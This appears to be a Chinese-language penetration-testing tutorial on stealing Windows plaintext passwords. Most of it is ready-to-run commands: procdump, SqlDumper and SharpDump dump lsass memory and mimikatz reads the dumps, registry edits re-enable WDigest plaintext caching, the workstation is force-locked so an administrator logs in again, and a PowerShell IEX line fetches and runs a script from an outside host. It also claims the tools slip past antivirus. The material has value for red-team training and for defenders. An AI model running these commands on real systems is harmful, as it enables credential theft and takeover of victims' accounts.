mimikatz

procdump+mimikatz

KB2871997

在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码

利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。

抓取明文:手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码

procdump64.exe导出lsass.dmp

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

使用本地的mimikatz.exe读取lsass.dmp

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

mimi_1

无法读取到密码。

在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方式开启,但需要用户重新登录后才能成功抓取。

开启Wdigest Auth

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭Wdigest Auth

关闭命令如下:

  • cmd

    1
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。

强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation
  • powershell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Function Lock-WorkStation 
    {
    $signature = @"
    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool LockWorkStation();
    "@
    $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
    $LockWorkStation::LockWorkStation() | Out-Null
    }
    Lock-WorkStation
1
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"

重新读取,可读到明文密码。

mimi_2

SqlDumper + mimikatz

SqlDumper.exe是从SQL Server安装目录下提取出来的,功能和Procdump相似,并且也是微软出品的,体积远小于Procdump,也具备一定的免杀功能。SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,参考如下:

140 for SQL Server 2017

130 for SQL Server 2016

120 for SQL Server 2014

110 for SQL Server 2012

100 for SQL Server 2008

90 for SQL Server 2005

如果目标机器没有安装SQL Server,可以自己上传一个SqlDumper.exe。

用法:

1.查看lsass.exe 的ProcessID

1
tasklist /svc |findstr lsass.exe

2.导出dump文件

1
Sqldumper.exe ProcessID 0 0x01100

3.mimikatz加载dump文件

1
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"

SharpDump+ mimikatz

项目地址:

1
https://github.com/GhostPack/SharpDump

编译生成的exe文件只有10KB左右,而且可过360。

用法:

1.在管理员权限下运行生成debug480.bin

mimi_5

修改debug480.bin为zip文件解压得到导出文件。

mimikatz加载dump文件

1
mimikatz.exe "sekurlsa::minidump debug480" "sekurlsa::logonPasswords full" "exit"

mimi_6